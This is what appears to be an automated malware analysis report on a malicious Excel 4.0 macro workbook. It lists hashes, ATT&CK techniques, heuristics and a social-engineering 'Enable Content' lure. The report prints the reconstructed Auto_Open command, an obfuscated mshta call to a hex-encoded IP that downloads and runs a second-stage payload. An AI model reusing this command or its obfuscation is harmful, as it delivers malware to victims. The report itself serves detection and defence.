Malicious Office (OLE) / .XLSX — malware analysis report

Static analysis result for SHA-256 3913cee39ca26e57…

MALICIOUS

Office (OLE) / .XLSX

65.0 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 39a6d5210207da37c8a1ef02aa4b2aa0 SHA-1: 8069abf053b1844398e18d84f1a561d95d2f5538 SHA-256: 3913cee39ca26e579e2ed3a24ce1703fa7318d26e1a5ad70331c931d85115b80
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution: Malicious File T1059.005 Command and Scripting Interpreter: Visual Basic T1105 Ingress Tool Transfer

The sample is an Excel 4.0 macro-enabled spreadsheet that uses an Auto_Open macro to execute a command. The macro reconstructs the string "cmd /c msh^t^a h^tt^p^:/^/0xc12a24f5/cc.html", which is designed to download a second-stage payload from the specified URL. The document body explicitly instructs the user to 'Enable Editing' and 'Enable Content', indicating a social engineering lure to bypass security measures.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes